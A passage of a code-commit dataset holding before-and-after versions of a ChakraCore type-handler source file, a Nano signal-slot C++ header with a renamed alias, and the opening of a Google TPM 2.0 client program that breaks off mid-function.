this->GetPropertyTypes());\n        if (instance->HasReadOnlyPropertiesInvisibleToTypeHandler())\n        {\n            newTypeHandler->ClearHasOnlyWritableDataProperties();\n        }\n        newTypeHandler->SetInstanceTypeHandler(instance);\n\n        return newTypeHandler;\n    }\n\n    SimpleTypeHandler<1>* NullTypeHandlerBase::ConvertToSimpleType(DynamicObject* instance)\n    {\n        SimpleTypeHandler<1>* newTypeHandler = ConvertToTypeHandler<SimpleTypeHandler<1>>(instance);\n\n#ifdef PROFILE_TYPES\n        instance->GetScriptContext()->convertNullToSimpleCount++;\n#endif\n        return newTypeHandler;\n    }\n\n\n    SimpleDictionaryTypeHandler * NullTypeHandlerBase::ConvertToSimpleDictionaryType(DynamicObject * instance)\n    {\n        SimpleDictionaryTypeHandler* newTypeHandler = ConvertToTypeHandler<SimpleDictionaryTypeHandler>(instance);\n\n#ifdef PROFILE_TYPES\n        instance->GetScriptContext()->convertNullToSimpleDictionaryCount++;\n#endif\n        return newTypeHandler;\n    }\n\n\n    DictionaryTypeHandler * NullTypeHandlerBase::ConvertToDictionaryType(DynamicObject * instance)\n    {\n        DictionaryTypeHandler* newTypeHandler = ConvertToTypeHandler<DictionaryTypeHandler>(instance);\n\n#ifdef PROFILE_TYPES\n        instance->GetScriptContext()->convertNullToDictionaryCount++;\n#endif\n        return newTypeHandler;\n    }\n\n\n    ES5ArrayTypeHandler* NullTypeHandlerBase::ConvertToES5ArrayType(DynamicObject * instance)\n    {\n        ES5ArrayTypeHandler* newTypeHandler = ConvertToTypeHandler<ES5ArrayTypeHandler>(instance);\n\n#ifdef PROFILE_TYPES\n        instance->GetScriptContext()->convertNullToDictionaryCount++;\n#endif\n        return newTypeHandler;\n    }\n\n\n    BOOL NullTypeHandlerBase::SetPropertyWithAttributes(DynamicObject* instance, PropertyId propertyId, Var value, PropertyAttributes attributes, PropertyValueInfo* info, PropertyOperationFlags flags, SideEffects possibleSideEffects)\n    {\n        \/\/ Always check numeric propertyId. May create objectArray.\n        uint32 indexVal;\n        if (instance->GetScriptContext()->IsNumericPropertyId(propertyId, &indexVal))\n        {\n            return NullTypeHandlerBase::SetItemWithAttributes(instance, indexVal, value, attributes);\n        }\n\n        return this->AddProperty(instance, propertyId, value, attributes, info, flags, possibleSideEffects);\n    }\n\n\n    BOOL NullTypeHandlerBase::SetAttributes(DynamicObject* instance, PropertyId propertyId, PropertyAttributes attributes)\n    {\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::GetAttributesWithPropertyIndex(DynamicObject * instance, PropertyId propertyId, BigPropertyIndex index, PropertyAttributes * attributes)\n    {\n        return false;\n    }\n\n\n    DynamicTypeHandler* NullTypeHandlerBase::ConvertToTypeWithItemAttributes(DynamicObject* instance)\n    {\n        return JavascriptArray::Is(instance) ?\n            ConvertToES5ArrayType(instance) : ConvertToDictionaryType(instance);\n    }\n\n    void NullTypeHandlerBase::SetIsPrototype(DynamicObject* instance)\n    {\n        if (!this->isPrototype)\n        {\n            \/\/ We don't force a type transition even when ChangeTypeOnProto() == true, because objects with NullTypeHandlers don't\n            \/\/ have any properties, so there is nothing to invalidate.  Types with NullTypeHandlers also aren't cached in typeWithoutProperty\n            \/\/ caches, so there will be no fast property add path that could skip prototype cache invalidation.\n            NullTypeHandler<true>* protoTypeHandler = NullTypeHandler<true>::GetDefaultInstance();\n            AssertMsg(protoTypeHandler->GetFlags() == (GetFlags() | IsPrototypeFlag), \"Why did we change the flags of a NullTypeHandler?\");\n            Assert(this->GetIsInlineSlotCapacityLocked() == protoTypeHandler->GetIsInlineSlotCapacityLocked());\n            protoTypeHandler->SetPropertyTypes(PropertyTypesWritableDataOnly | PropertyTypesWritableDataOnlyDetection, GetPropertyTypes());\n            SetInstanceTypeHandler(instance, protoTypeHandler);\n        }\n    }\n\n    template<bool IsPrototypeTemplate>\n    NullTypeHandler<IsPrototypeTemplate> NullTypeHandler<IsPrototypeTemplate>::defaultInstance;\n\n    template<bool IsPrototypeTemplate>\n    NullTypeHandler<IsPrototypeTemplate> * NullTypeHandler<IsPrototypeTemplate>::GetDefaultInstance() { return &defaultInstance; }\n\n    template class NullTypeHandler<false>;\n    template class NullTypeHandler<true>;\n}\n<commit_msg>[MERGE #1277 @MikeHolman] Fix crash when tracing EquivObjTypeSpec<commit_after>\/\/-------------------------------------------------------------------------------------------------------\n\/\/ Copyright (C) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.\n\/\/-------------------------------------------------------------------------------------------------------\n#include \"RuntimeTypePch.h\"\n\n#include \"Types\/NullTypeHandler.h\"\n#include \"Types\/SimpleTypeHandler.h\"\n\nnamespace Js\n{\n    int NullTypeHandlerBase::GetPropertyCount()\n    {\n        return 0;\n    }\n\n\n    PropertyId NullTypeHandlerBase::GetPropertyId(ScriptContext* scriptContext, PropertyIndex index)\n    {\n        return Constants::NoProperty;\n    }\n\n    PropertyId NullTypeHandlerBase::GetPropertyId(ScriptContext* scriptContext, BigPropertyIndex index)\n    {\n        return Constants::NoProperty;\n    }\n\n\n    BOOL NullTypeHandlerBase::FindNextProperty(ScriptContext* scriptContext, PropertyIndex& index, JavascriptString** propertyString, PropertyId* propertyId,\n        PropertyAttributes* attributes, Type* type, DynamicType *typeToEnumerate, bool requireEnumerable, bool enumSymbols)\n    {\n        Assert(propertyString);\n        Assert(propertyId);\n        Assert(type);\n        return FALSE;\n    }\n\n\n    PropertyIndex NullTypeHandlerBase::GetPropertyIndex(PropertyRecord const* propertyRecord)\n    {\n        return Constants::NoSlot;\n    }\n\n    bool NullTypeHandlerBase::GetPropertyEquivalenceInfo(PropertyRecord const* propertyRecord, PropertyEquivalenceInfo& info)\n    {\n        info.slotIndex = Constants::NoSlot;\n        info.isAuxSlot = false;\n        info.isWritable = false;\n        return false;\n    }\n\n    bool NullTypeHandlerBase::IsObjTypeSpecEquivalent(const Type* type, const TypeEquivalenceRecord& record, uint& failedPropertyIndex)\n    {\n        uint propertyCount = record.propertyCount;\n        EquivalentPropertyEntry* properties = record.properties;\n        for (uint pi = 0; pi < propertyCount; pi++)\n        {\n            const EquivalentPropertyEntry* refInfo = &properties[pi];\n            if (!this->NullTypeHandlerBase::IsObjTypeSpecEquivalent(type, refInfo))\n            {\n                failedPropertyIndex = pi;\n                return false;\n            }\n        }\n        return true;\n    }\n\n    bool NullTypeHandlerBase::IsObjTypeSpecEquivalent(const Type* type, const EquivalentPropertyEntry *entry)\n    {\n        return entry->slotIndex == Constants::NoSlot && !entry->mustBeWritable;\n    }\n\n    BOOL NullTypeHandlerBase::HasProperty(DynamicObject* instance, PropertyId propertyId, __out_opt bool *noRedecl)\n    {\n        \/\/ Check numeric propertyId only if objectArray is available\n        uint32 indexVal;\n        ScriptContext* scriptContext = instance->GetScriptContext();\n\n        if (noRedecl != nullptr)\n        {\n            *noRedecl = false;\n        }\n\n        if (instance->HasObjectArray() && scriptContext->IsNumericPropertyId(propertyId, &indexVal))\n        {\n            return DynamicTypeHandler::HasItem(instance, indexVal);\n        }\n\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::HasProperty(DynamicObject* instance, JavascriptString* propertyNameString)\n    {\n        PropertyRecord const* propertyRecord;\n        instance->GetScriptContext()->GetOrAddPropertyRecord(propertyNameString->GetString(), propertyNameString->GetLength(), &propertyRecord);\n        return NullTypeHandlerBase::HasProperty(instance, propertyRecord->GetPropertyId());\n    }\n\n\n    BOOL NullTypeHandlerBase::GetProperty(DynamicObject* instance, Var originalInstance, PropertyId propertyId, Var* value, PropertyValueInfo* info, ScriptContext* requestContext)\n    {\n        \/\/ Check numeric propertyId only if objectArray is available\n        uint32 indexVal;\n        ScriptContext* scriptContext = instance->GetScriptContext();\n        if (instance->HasObjectArray() && scriptContext->IsNumericPropertyId(propertyId, &indexVal))\n        {\n            return DynamicTypeHandler::GetItem(instance, originalInstance, indexVal, value, requestContext);\n        }\n\n        *value = requestContext->GetMissingPropertyResult();\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::GetProperty(DynamicObject* instance, Var originalInstance, JavascriptString* propertyNameString, Var* value, PropertyValueInfo* info, ScriptContext* requestContext)\n    {\n        PropertyRecord const* propertyRecord;\n        instance->GetScriptContext()->GetOrAddPropertyRecord(propertyNameString->GetString(), propertyNameString->GetLength(), &propertyRecord);\n        return NullTypeHandlerBase::GetProperty(instance, originalInstance, propertyRecord->GetPropertyId(), value, info, requestContext);\n    }\n\n\n    BOOL NullTypeHandlerBase::SetProperty(DynamicObject* instance, PropertyId propertyId, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)\n    {\n        return ConvertToSimpleType(instance)->SetProperty(instance, propertyId, value, flags, info);\n    }\n\n\n    BOOL NullTypeHandlerBase::SetProperty(DynamicObject* instance, JavascriptString* propertyNameString, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)\n    {\n        return ConvertToSimpleType(instance)->SetProperty(instance, propertyNameString, value, flags, info);\n    }\n\n    BOOL NullTypeHandlerBase::AddProperty(DynamicObject* instance, PropertyId propertyId, Var value, PropertyAttributes attributes, PropertyValueInfo* info, PropertyOperationFlags flags, SideEffects possibleSideEffects)\n    {\n        if (this->isPrototype && (ChangeTypeOnProto() || (GetIsShared() && IsolatePrototypes())))\n        {\n            ScriptContext* scriptContext = instance->GetScriptContext();\n            return ConvertToSimpleDictionaryType(instance)->AddProperty(instance, scriptContext->GetPropertyName(propertyId), value, attributes, info, flags, possibleSideEffects);\n        }\n        else\n        {\n            return ConvertToSimpleType(instance)->AddProperty(instance, propertyId, value, attributes, info, flags, possibleSideEffects);\n        }\n    }\n\n    BOOL NullTypeHandlerBase::DeleteProperty(DynamicObject* instance, PropertyId propertyId, PropertyOperationFlags flags)\n    {\n        \/\/ Check numeric propertyId only if objectArray is available\n        ScriptContext* scriptContext = instance->GetScriptContext();\n        uint32 indexVal;\n        if (instance->HasObjectArray() && scriptContext->IsNumericPropertyId(propertyId, &indexVal))\n        {\n            return DynamicTypeHandler::DeleteItem(instance, indexVal, flags);\n        }\n\n        return true;\n    }\n\n\n    BOOL NullTypeHandlerBase::IsEnumerable(DynamicObject* instance, PropertyId propertyId)\n    {\n        return true;\n    }\n\n\n    BOOL NullTypeHandlerBase::IsWritable(DynamicObject* instance, PropertyId propertyId)\n    {\n        return true;\n    }\n\n\n    BOOL NullTypeHandlerBase::IsConfigurable(DynamicObject* instance, PropertyId propertyId)\n    {\n        return true;\n    }\n\n\n    BOOL NullTypeHandlerBase::SetEnumerable(DynamicObject* instance, PropertyId propertyId, BOOL value)\n    {\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::SetWritable(DynamicObject* instance, PropertyId propertyId, BOOL value)\n    {\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::SetConfigurable(DynamicObject* instance, PropertyId propertyId, BOOL value)\n    {\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::SetAccessors(DynamicObject* instance, PropertyId propertyId, Var getter, Var setter, PropertyOperationFlags flags)\n    {\n        return ConvertToDictionaryType(instance)->SetAccessors(instance, propertyId, getter, setter, flags);\n    }\n\n\n    BOOL NullTypeHandlerBase::PreventExtensions(DynamicObject* instance)\n    {\n        return ConvertToDictionaryType(instance)->PreventExtensions(instance);\n    }\n\n\n    BOOL NullTypeHandlerBase::Seal(DynamicObject* instance)\n    {\n        return ConvertToDictionaryType(instance)->Seal(instance);\n    }\n\n\n    BOOL NullTypeHandlerBase::FreezeImpl(DynamicObject* instance, bool isConvertedType)\n    {\n        return ConvertToDictionaryType(instance)->Freeze(instance, true);\n    }\n\n    template <typename T>\n    T* NullTypeHandlerBase::ConvertToTypeHandler(DynamicObject* instance)\n    {\n        ScriptContext* scriptContext = instance->GetScriptContext();\n        Recycler* recycler = scriptContext->GetRecycler();\n\n        T * newTypeHandler = RecyclerNew(recycler, T, recycler);\n        Assert((newTypeHandler->GetFlags() & IsPrototypeFlag) == 0);\n        \/\/ EnsureSlots before updating the type handler and instance, as EnsureSlots allocates and may throw.\n        instance->EnsureSlots(0, newTypeHandler->GetSlotCapacity(), scriptContext, newTypeHandler);\n        Assert(((this->GetFlags() & IsPrototypeFlag) != 0) == this->isPrototype);\n        newTypeHandler->SetFlags(IsPrototypeFlag, this->GetFlags());\n        newTypeHandler->SetPropertyTypes(PropertyTypesWritableDataOnly | PropertyTypesWritableDataOnlyDetection | PropertyTypesInlineSlotCapacityLocked, this->GetPropertyTypes());\n        if (instance->HasReadOnlyPropertiesInvisibleToTypeHandler())\n        {\n            newTypeHandler->ClearHasOnlyWritableDataProperties();\n        }\n        newTypeHandler->SetInstanceTypeHandler(instance);\n\n        return newTypeHandler;\n    }\n\n    SimpleTypeHandler<1>* NullTypeHandlerBase::ConvertToSimpleType(DynamicObject* instance)\n    {\n        SimpleTypeHandler<1>* newTypeHandler = ConvertToTypeHandler<SimpleTypeHandler<1>>(instance);\n\n#ifdef PROFILE_TYPES\n        instance->GetScriptContext()->convertNullToSimpleCount++;\n#endif\n        return newTypeHandler;\n    }\n\n\n    SimpleDictionaryTypeHandler * NullTypeHandlerBase::ConvertToSimpleDictionaryType(DynamicObject * instance)\n    {\n        SimpleDictionaryTypeHandler* newTypeHandler = ConvertToTypeHandler<SimpleDictionaryTypeHandler>(instance);\n\n#ifdef PROFILE_TYPES\n        instance->GetScriptContext()->convertNullToSimpleDictionaryCount++;\n#endif\n        return newTypeHandler;\n    }\n\n\n    DictionaryTypeHandler * NullTypeHandlerBase::ConvertToDictionaryType(DynamicObject * instance)\n    {\n        DictionaryTypeHandler* newTypeHandler = ConvertToTypeHandler<DictionaryTypeHandler>(instance);\n\n#ifdef PROFILE_TYPES\n        instance->GetScriptContext()->convertNullToDictionaryCount++;\n#endif\n        return newTypeHandler;\n    }\n\n\n    ES5ArrayTypeHandler* NullTypeHandlerBase::ConvertToES5ArrayType(DynamicObject * instance)\n    {\n        ES5ArrayTypeHandler* newTypeHandler = ConvertToTypeHandler<ES5ArrayTypeHandler>(instance);\n\n#ifdef PROFILE_TYPES\n        instance->GetScriptContext()->convertNullToDictionaryCount++;\n#endif\n        return newTypeHandler;\n    }\n\n\n    BOOL NullTypeHandlerBase::SetPropertyWithAttributes(DynamicObject* instance, PropertyId propertyId, Var value, PropertyAttributes attributes, PropertyValueInfo* info, PropertyOperationFlags flags, SideEffects possibleSideEffects)\n    {\n        \/\/ Always check numeric propertyId. May create objectArray.\n        uint32 indexVal;\n        if (instance->GetScriptContext()->IsNumericPropertyId(propertyId, &indexVal))\n        {\n            return NullTypeHandlerBase::SetItemWithAttributes(instance, indexVal, value, attributes);\n        }\n\n        return this->AddProperty(instance, propertyId, value, attributes, info, flags, possibleSideEffects);\n    }\n\n\n    BOOL NullTypeHandlerBase::SetAttributes(DynamicObject* instance, PropertyId propertyId, PropertyAttributes attributes)\n    {\n        return false;\n    }\n\n\n    BOOL NullTypeHandlerBase::GetAttributesWithPropertyIndex(DynamicObject * instance, PropertyId propertyId, BigPropertyIndex index, PropertyAttributes * attributes)\n    {\n        return false;\n    }\n\n\n    DynamicTypeHandler* NullTypeHandlerBase::ConvertToTypeWithItemAttributes(DynamicObject* instance)\n    {\n        return JavascriptArray::Is(instance) ?\n            ConvertToES5ArrayType(instance) : ConvertToDictionaryType(instance);\n    }\n\n    void NullTypeHandlerBase::SetIsPrototype(DynamicObject* instance)\n    {\n        if (!this->isPrototype)\n        {\n            \/\/ We don't force a type transition even when ChangeTypeOnProto() == true, because objects with NullTypeHandlers don't\n            \/\/ have any properties, so there is nothing to invalidate.  Types with NullTypeHandlers also aren't cached in typeWithoutProperty\n            \/\/ caches, so there will be no fast property add path that could skip prototype cache invalidation.\n            NullTypeHandler<true>* protoTypeHandler = NullTypeHandler<true>::GetDefaultInstance();\n            AssertMsg(protoTypeHandler->GetFlags() == (GetFlags() | IsPrototypeFlag), \"Why did we change the flags of a NullTypeHandler?\");\n            Assert(this->GetIsInlineSlotCapacityLocked() == protoTypeHandler->GetIsInlineSlotCapacityLocked());\n            protoTypeHandler->SetPropertyTypes(PropertyTypesWritableDataOnly | PropertyTypesWritableDataOnlyDetection, GetPropertyTypes());\n            SetInstanceTypeHandler(instance, protoTypeHandler);\n        }\n    }\n\n    template<bool IsPrototypeTemplate>\n    NullTypeHandler<IsPrototypeTemplate> NullTypeHandler<IsPrototypeTemplate>::defaultInstance;\n\n    template<bool IsPrototypeTemplate>\n    NullTypeHandler<IsPrototypeTemplate> * NullTypeHandler<IsPrototypeTemplate>::GetDefaultInstance() { return &defaultInstance; }\n\n    template class NullTypeHandler<false>;\n    template class NullTypeHandler<true>;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef NANO_SIGNAL_SLOT_HPP\n#define NANO_SIGNAL_SLOT_HPP\n\n#include \"nano_function.hpp\"\n#include \"nano_observer.hpp\"\n\nnamespace Nano\n{\n\ntemplate <typename T_rv> class Signal;\ntemplate <typename T_rv, typename... Args>\nclass Signal<T_rv(Args...)> : private Observer\n{\n    template <typename T>\n    void insert_sfinae(DelegateKey const& key, typename T::Observer* instance)\n    {\n        Observer::insert(key, instance);\n        instance->insert(key, this);\n    }\n    template <typename T>\n    void remove_sfinae(DelegateKey const& key, typename T::Observer* instance)\n    {\n        Observer::remove(key);\n        instance->remove(key);\n    }\n    template <typename T>\n    void insert_sfinae(DelegateKey const& key, ...)\n    {\n        Observer::insert(key);\n    }\n    template <typename T>\n    void remove_sfinae(DelegateKey const& key, ...)\n    {\n        Observer::remove(key);\n    }\n\n    public:\n\n    using Function = Function<T_rv(Args...)>;\n    \n    \/\/-------------------------------------------------------------------CONNECT\n\n    template <T_rv (*fun_ptr)(Args...)>\n    void connect()\n    {\n        Observer::insert(Function::template bind<fun_ptr>());\n    }\n\n    template <typename T, T_rv (T::*mem_ptr)(Args...)>\n    void connect(T* instance)\n    {\n        auto delegate  = Function::template bind<T, mem_ptr>(instance);\n        insert_sfinae<T>(delegate, instance);\n    }\n    template <typename T, T_rv (T::*mem_ptr)(Args...) const>\n    void connect(T* instance)\n    {\n        auto delegate  = Function::template bind<T, mem_ptr>(instance);\n        insert_sfinae<T>(delegate, instance);\n    }\n    \n    template <typename T, T_rv (T::*mem_ptr)(Args...)>\n    void connect(T& instance)\n    {\n        connect<T, mem_ptr>(std::addressof(instance));\n    }\n    template <typename T, T_rv (T::*mem_ptr)(Args...) const>\n    void connect(T& instance)\n    {\n        connect<T, mem_ptr>(std::addressof(instance));\n    }\n    \n    \/\/----------------------------------------------------------------DISCONNECT\n\n    template <T_rv (*fun_ptr)(Args...)>\n    void disconnect()\n    {\n        Observer::remove(Function::template bind<fun_ptr>());\n    }\n\n    template <typename T, T_rv (T::*mem_ptr)(Args...)>\n    void disconnect(T* instance)\n    {\n        auto delegate  = Function::template bind<T, mem_ptr>(instance);\n        remove_sfinae<T>(delegate, instance);\n    }\n    template <typename T, T_rv (T::*mem_ptr)(Args...) const>\n    void disconnect(T* instance)\n    {\n        auto delegate  = Function::template bind<T, mem_ptr>(instance);\n        remove_sfinae<T>(delegate, instance);\n    }\n    \n    template <typename T, T_rv (T::*mem_ptr)(Args...)>\n    void disconnect(T& instance)\n    {\n        disconnect<T, mem_ptr>(std::addressof(instance));\n    }\n    template <typename T, T_rv (T::*mem_ptr)(Args...) const>\n    void disconnect(T& instance)\n    {\n        disconnect<T, mem_ptr>(std::addressof(instance));\n    }\n    \n    \/\/----------------------------------------------------------------------EMIT\n\n    void operator() (Args... args)\n    {\n        for (auto const& slot : tracked_connections)\n        {\n            Function(std::get<0>(slot))(std::forward<Args>(args)...);\n        }\n    }\n    template <typename Accumulator>\n    void operator() (Args... args, Accumulator sink)\n    {\n        for (auto const& slot : tracked_connections)\n        {\n            sink(Function(std::get<0>(slot))(std::forward<Args>(args)...));\n        }\n    }\n};\n\n} \/\/ namespace Nano ------------------------------------------------------------\n\n#endif \/\/ NANO_SIGNAL_SLOT_HPP\n<commit_msg>Fixed possible shadowing in using declaration.<commit_after>#ifndef NANO_SIGNAL_SLOT_HPP\n#define NANO_SIGNAL_SLOT_HPP\n\n#include \"nano_function.hpp\"\n#include \"nano_observer.hpp\"\n\nnamespace Nano\n{\n\ntemplate <typename T_rv> class Signal;\ntemplate <typename T_rv, typename... Args>\nclass Signal<T_rv(Args...)> : private Observer\n{\n    template <typename T>\n    void insert_sfinae(DelegateKey const& key, typename T::Observer* instance)\n    {\n        Observer::insert(key, instance);\n        instance->insert(key, this);\n    }\n    template <typename T>\n    void remove_sfinae(DelegateKey const& key, typename T::Observer* instance)\n    {\n        Observer::remove(key);\n        instance->remove(key);\n    }\n    template <typename T>\n    void insert_sfinae(DelegateKey const& key, ...)\n    {\n        Observer::insert(key);\n    }\n    template <typename T>\n    void remove_sfinae(DelegateKey const& key, ...)\n    {\n        Observer::remove(key);\n    }\n\n    public:\n\n    using Delegate = Function<T_rv(Args...)>;\n    \n    \/\/-------------------------------------------------------------------CONNECT\n\n    template <T_rv (*fun_ptr)(Args...)>\n    void connect()\n    {\n        Observer::insert(Delegate::template bind<fun_ptr>());\n    }\n\n    template <typename T, T_rv (T::*mem_ptr)(Args...)>\n    void connect(T* instance)\n    {\n        auto delegate  = Delegate::template bind<T, mem_ptr>(instance);\n        insert_sfinae<T>(delegate, instance);\n    }\n    template <typename T, T_rv (T::*mem_ptr)(Args...) const>\n    void connect(T* instance)\n    {\n        auto delegate  = Delegate::template bind<T, mem_ptr>(instance);\n        insert_sfinae<T>(delegate, instance);\n    }\n    \n    template <typename T, T_rv (T::*mem_ptr)(Args...)>\n    void connect(T& instance)\n    {\n        connect<T, mem_ptr>(std::addressof(instance));\n    }\n    template <typename T, T_rv (T::*mem_ptr)(Args...) const>\n    void connect(T& instance)\n    {\n        connect<T, mem_ptr>(std::addressof(instance));\n    }\n    \n    \/\/----------------------------------------------------------------DISCONNECT\n\n    template <T_rv (*fun_ptr)(Args...)>\n    void disconnect()\n    {\n        Observer::remove(Delegate::template bind<fun_ptr>());\n    }\n\n    template <typename T, T_rv (T::*mem_ptr)(Args...)>\n    void disconnect(T* instance)\n    {\n        auto delegate  = Delegate::template bind<T, mem_ptr>(instance);\n        remove_sfinae<T>(delegate, instance);\n    }\n    template <typename T, T_rv (T::*mem_ptr)(Args...) const>\n    void disconnect(T* instance)\n    {\n        auto delegate  = Delegate::template bind<T, mem_ptr>(instance);\n        remove_sfinae<T>(delegate, instance);\n    }\n    \n    template <typename T, T_rv (T::*mem_ptr)(Args...)>\n    void disconnect(T& instance)\n    {\n        disconnect<T, mem_ptr>(std::addressof(instance));\n    }\n    template <typename T, T_rv (T::*mem_ptr)(Args...) const>\n    void disconnect(T& instance)\n    {\n        disconnect<T, mem_ptr>(std::addressof(instance));\n    }\n    \n    \/\/----------------------------------------------------------------------EMIT\n\n    void operator() (Args... args)\n    {\n        for (auto const& slot : tracked_connections)\n        {\n            Delegate(std::get<0>(slot))(std::forward<Args>(args)...);\n        }\n    }\n    template <typename Accumulator>\n    void operator() (Args... args, Accumulator sink)\n    {\n        for (auto const& slot : tracked_connections)\n        {\n            sink(Delegate(std::get<0>(slot))(std::forward<Args>(args)...));\n        }\n    }\n};\n\n} \/\/ namespace Nano ------------------------------------------------------------\n\n#endif \/\/ NANO_SIGNAL_SLOT_HPP\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <string.h>\n\n#include <openssl\/ssl.h>\n#include <openssl\/rsa.h>\n#include <openssl\/x509.h>\n#include <openssl_helpers.h>\n\n#include <tpm20.h>\n#include <tpm2_lib.h>\n#include <gflags\/gflags.h>\n\n\/\/\n\/\/ Copyright 2015 Google Corporation, All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ or in the the file LICENSE-2.0.txt in the top level sourcedirectory\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License\n\/\/\n\/\/ Portions of this code were derived TPM2.0-TSS published\n\/\/ by Intel under the license set forth in intel_license.txt\n\/\/ and downloaded on or about August 6, 2015.\n\/\/ Portions of this code were derived tboot published\n\/\/ by Intel under the license set forth in intel_license.txt\n\/\/ and downloaded on or about August 6, 2015.\n\/\/ Portions of this code were derived from the crypto utility\n\/\/ published by John Manferdelli under the Apache 2.0 license.\n\/\/ See github.com\/jlmucb\/crypto.\n\/\/ File: ClientGetProgramKeyCert.cc\n\n\n\/\/  This program decrypts the program  key certificate using ActivateCredential\n\/\/  and stores the resulting decrypted cert.\n\n\/\/ Calling sequence: ClientGetProgramKeyCert.exe\n\/\/    --slot_primary=slot-number\n\/\/    --slot_seal= slot-number\n\/\/    --program_key_response_file=input-file-name\n\/\/    --program_key_cert_file=output-file-name\n\n\nusing std::string;\n\n\n#define CALLING_SEQUENCE \"ClientGetProgramKeyCert.exe \" \\\n\"--slot_primary=slot-number \" \\\n\"--slot_seal= slot-number \" \\\n\"--slot_quote= slot-number \" \\\n\"--program_key_response_file=input-file-name \" \\\n\"--program_key_cert_file=output-file-name\\n\"\n\nvoid PrintOptions() {\n  printf(\"Calling sequence: %s\", CALLING_SEQUENCE);\n}\n\n\nDEFINE_string(program_key_response_file, \"\", \"input-file-name\");\nDEFINE_int32(slot_primary, 1, \"slot-number\");\nDEFINE_int32(slot_seal, 2, \"slot-number\");\nDEFINE_int32(slot_quote, 3, \"slot-number\");\nDEFINE_string(program_key_type, \"RSA\", \"alg name\");\nDEFINE_string(program_key_cert_file, \"\", \"output-file-name\");\n\n#ifndef GFLAGS_NS\n#define GFLAGS_NS gflags\n#endif\n\n#define MAX_SIZE_PARAMS 4096\n#define DEBUG\n\nint main(int an, char** av) {\n  LocalTpm tpm;\n  int ret_val = 0;\n\n  GFLAGS_NS::ParseCommandLineFlags(&an, &av, true);\n  if (!tpm.OpenTpm(\"\/dev\/tpm0\")) {\n    printf(\"Can't open tpm\\n\");\n    return 1;\n  }\n\n  OpenSSL_add_all_algorithms();\n\n  TPM_HANDLE nv_handle = 0;\n\n  string authString(\"01020304\");\n  string parentAuth(\"01020304\");\n  string emptyAuth;\n\n  TPML_PCR_SELECTION pcrSelect;\n\n  TPM_HANDLE ekHandle = 0;\n  TPM_HANDLE root_handle = 0;\n  TPM_HANDLE seal_handle = 0;\n  TPM_HANDLE quote_handle = 0;\n\n  TPM2B_DIGEST credential;\n  TPM2B_ID_OBJECT credentialBlob;\n  TPM2B_ENCRYPTED_SECRET secret;\n\n  TPM2B_DIGEST recovered_credential;\n\n  TPMA_OBJECT primary_flags;\n  TPM2B_PUBLIC ek_pub_out;\n\n  int current_size = 0;\n  int context_data_size = 930;\n  byte context_save_area[MAX_SIZE_PARAMS];\n\n  int size_response = MAX_SIZE_PARAMS;\n  byte response_buf[MAX_SIZE_PARAMS];\n  program_cert_response_message response;\n  int size_cert_out = MAX_SIZE_PARAMS;\n  byte cert_out_buf[MAX_SIZE_PARAMS];\n\n  string input;\n  string output;\n\n#ifdef DEBUG\n  TPM2B_DIGEST test_cred;\n#endif\n\n  \/\/ Generate program key\n  if (FLAGS_program_key_type != \"RSA\") {\n    printf(\"Only RSA supported\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  if (FLAGS_program_key_response_file == \"\") {\n    printf(\"No key name\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  if (FLAGS_program_key_cert_file == \"\") {\n    printf(\"No key name\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n  \/\/ Create endorsement key\n  *(uint32_t*)(&primary_flags) = 0;\n\n  primary_flags.fixedTPM = 1;\n  primary_flags.fixedParent = 1;\n  primary_flags.sensitiveDataOrigin = 1;\n  primary_flags.userWithAuth = 1;\n  primary_flags.decrypt = 1;\n  primary_flags.restricted = 1;\n\n  InitSinglePcrSelection(-1, TPM_ALG_SHA1, pcrSelect);\n  if (Tpm2_CreatePrimary(tpm, TPM_RH_ENDORSEMENT, emptyAuth, pcrSelect,\n                         TPM_ALG_RSA, TPM_ALG_SHA256, primary_flags,\n                         TPM_ALG_AES, 128, TPM_ALG_CFB, TPM_ALG_NULL,\n                         2048, 0x010001, &ekHandle, &ek_pub_out)) {\n    printf(\"CreatePrimary succeeded parent: %08x\\n\", ekHandle);\n  } else {\n    printf(\"CreatePrimary failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n  \/\/ restore context\n  \/\/ TODO(jlm): should get pcr list from parameters\n  InitSinglePcrSelection(7, TPM_ALG_SHA1, pcrSelect);\n\n  \/\/ root handle\n  memset(context_save_area, 0, MAX_SIZE_PARAMS);\n  nv_handle = GetNvHandle(FLAGS_slot_primary);\n  if (!Tpm2_ReadNv(tpm, nv_handle, authString, (uint16_t) context_data_size,\n                   context_save_area)) {\n    printf(\"Root ReadNv failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n#ifdef DEBUG1\n  printf(\"\\ncontext_save_area: \");\n  PrintBytes(context_data_size - 6, context_save_area + 6);\n  printf(\"\\n\\n\");\n#endif\n  if (!Tpm2_LoadContext(tpm, context_data_size - 6, context_save_area + 6,\n                        &root_handle)) {\n    printf(\"Root LoadContext failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n  \/\/ quote handle\n  memset(context_save_area, 0, MAX_SIZE_PARAMS);\n  nv_handle = GetNvHandle(FLAGS_slot_quote);\n  if 